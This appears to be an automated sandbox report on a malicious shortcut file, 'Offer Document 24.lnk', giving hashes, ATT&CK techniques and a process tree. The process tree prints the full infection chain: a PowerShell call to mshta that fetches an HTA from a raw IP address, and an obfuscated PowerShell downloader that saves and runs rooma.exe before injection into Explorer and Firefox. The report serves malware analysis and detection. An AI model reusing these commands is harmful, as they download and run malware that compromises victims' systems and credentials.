59f149ffc55554ce0aac7072bba999b5abb83b023486e017f407883f8a27e4e2

General

Target

Offer Document 24.lnk
Size

1KB
MD5

bf9569f5e56e6dcb1f4ae60fd2faea36
SHA1

1085e4140bf323df085db50b8f79c3b02b4aab72
SHA256

59f149ffc55554ce0aac7072bba999b5abb83b023486e017f407883f8a27e4e2
SHA512

2a682c59a881c95d36d56d28328253f3c8cc6ac3d466c5eefa1223cb58a12de708414a5e6f59e07f919c9e122748deb76961c1e84ec4c3e19f68afdf4cc032d9

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://20.86.128.223/room/room4.hta

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

6 2384 mshta.exe
12 4132 powershell.exe
Downloads MZ/PE file

flow	pid	process
6	2384	mshta.exe
12	4132	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

Processes:

rooma.exe

pid process

3384 rooma.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4132 powershell.exe

pid	process
3384	rooma.exe

pid	process
4132	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

rooma.exenetbtugc.exe

description	pid	process	target process
PID 3384 set thread context of 3456	3384	rooma.exe	Explorer.EXE
PID 3384 set thread context of 4716	3384	rooma.exe	netbtugc.exe
PID 4716 set thread context of 3456	4716	netbtugc.exe	Explorer.EXE
PID 4716 set thread context of 2896	4716	netbtugc.exe	Firefox.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

netbtugc.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	netbtugc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exerooma.exenetbtugc.exe

pid	process
1780	powershell.exe
1780	powershell.exe
4132	powershell.exe
4132	powershell.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
3384	rooma.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe

Suspicious behavior: MapViewOfSection 7 IoCs

Processes:

rooma.exeExplorer.EXEnetbtugc.exe

pid process

3384 rooma.exe
3456 Explorer.EXE
3456 Explorer.EXE
4716 netbtugc.exe
4716 netbtugc.exe
4716 netbtugc.exe
4716 netbtugc.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1780 powershell.exe
Token: SeDebugPrivilege 4132 powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3456 Explorer.EXE

pid	process
3384	rooma.exe
3456	Explorer.EXE
3456	Explorer.EXE
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe
4716	netbtugc.exe

description	pid	process
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe

pid	process
3456	Explorer.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

cmd.exepowershell.exemshta.exepowershell.exeExplorer.EXEnetbtugc.exe

description	pid	process	target process
PID 1632 wrote to memory of 1780	1632	cmd.exe	powershell.exe
PID 1632 wrote to memory of 1780	1632	cmd.exe	powershell.exe
PID 1780 wrote to memory of 2384	1780	powershell.exe	mshta.exe
PID 1780 wrote to memory of 2384	1780	powershell.exe	mshta.exe
PID 2384 wrote to memory of 4132	2384	mshta.exe	powershell.exe
PID 2384 wrote to memory of 4132	2384	mshta.exe	powershell.exe
PID 4132 wrote to memory of 3384	4132	powershell.exe	rooma.exe
PID 4132 wrote to memory of 3384	4132	powershell.exe	rooma.exe
PID 4132 wrote to memory of 3384	4132	powershell.exe	rooma.exe
PID 3456 wrote to memory of 4716	3456	Explorer.EXE	netbtugc.exe
PID 3456 wrote to memory of 4716	3456	Explorer.EXE	netbtugc.exe
PID 3456 wrote to memory of 4716	3456	Explorer.EXE	netbtugc.exe
PID 4716 wrote to memory of 2896	4716	netbtugc.exe	Firefox.exe
PID 4716 wrote to memory of 2896	4716	netbtugc.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3456

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Offer Document 24.lnk"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://20.86.128.223/room/room4.hta'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" http://20.86.128.223/room/room4.hta
4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LQhlh($iAXOUnjQ, $bjGcHEb){[IO.File]::WriteAllBytes($iAXOUnjQ, $bjGcHEb)};function zkkoODnkdOXlr($iAXOUnjQ){if($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47179,47187,47187))) -eq $True){rundll32.exe $iAXOUnjQ }elseif($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47191,47194,47128))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $iAXOUnjQ}elseif($iAXOUnjQ.EndsWith((KgQIevZJx @(47125,47188,47194,47184))) -eq $True){misexec /qn /i $iAXOUnjQ}else{Start-Process $iAXOUnjQ}};function fbUysIvJpUzDJbgt($WeuPtAwBrGuTyyLeSBEJ){$TPKepUYDmoAFjOHRfuEf = New-Object (KgQIevZJx @(47157,47180,47195,47125,47166,47180,47177,47146,47187,47184,47180,47189,47195));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bjGcHEb = $TPKepUYDmoAFjOHRfuEf.DownloadData($WeuPtAwBrGuTyyLeSBEJ);return $bjGcHEb};function KgQIevZJx($eTHmOcKqIU){$kIWXaGUQZYbt=47079;$PDFpjjruzXwZezIX=$Null;foreach($QNJiuRDs in $eTHmOcKqIU){$PDFpjjruzXwZezIX+=[char]($QNJiuRDs-$kIWXaGUQZYbt)};return $PDFpjjruzXwZezIX};function iMoBwPUgEkDDhYs(){$bzNVNMxsa = $env:AppData + '\';$fLaod = $bzNVNMxsa + 'rooma.exe'; if (Test-Path -Path $fLaod){zkkoODnkdOXlr $fLaod;}Else{ $movKnuBo = fbUysIvJpUzDJbgt (KgQIevZJx @(47183,47195,47195,47191,47137,47126,47126,47129,47127,47125,47135,47133,47125,47128,47129,47135,47125,47129,47129,47130,47126,47193,47190,47190,47188,47126,47193,47190,47190,47188,47176,47125,47180,47199,47180));LQhlh $fLaod $movKnuBo;zkkoODnkdOXlr $fLaod;};;;;}iMoBwPUgEkDDhYs;
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4132

C:\Users\Admin\AppData\Roaming\rooma.exe
"C:\Users\Admin\AppData\Roaming\rooma.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3384

C:\Windows\SysWOW64\netbtugc.exe
"C:\Windows\SysWOW64\netbtugc.exe"
2⤵
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4716

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:2896

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nit22xac.cui.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\rooma.exe
Filesize
264KB

MD5
1dcce19e1a6306424d073487af821ff0

SHA1
9de500775811f65415266689cbdfd035e167f148

SHA256
77e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c

SHA512
4528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a

Download Submit
memory/1780-13-0x00007FF8CEBF0000-0x00007FF8CF6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1780-17-0x00007FF8CEBF0000-0x00007FF8CF6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1780-14-0x00007FF8CEBF0000-0x00007FF8CF6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1780-2-0x00007FF8CEBF3000-0x00007FF8CEBF5000-memory.dmp

Filesize
8KB

Download
memory/1780-3-0x0000022C60560000-0x0000022C60582000-memory.dmp

Filesize
136KB

Download
memory/2896-50-0x00000251ED890000-0x00000251ED986000-memory.dmp

Filesize
984KB

Download
memory/3456-43-0x00000000036C0000-0x00000000037AA000-memory.dmp

Filesize
936KB

Download
memory/4716-41-0x0000000000440000-0x000000000047F000-memory.dmp

Filesize
252KB

Download
memory/4716-42-0x0000000000440000-0x000000000047F000-memory.dmp

Filesize
252KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads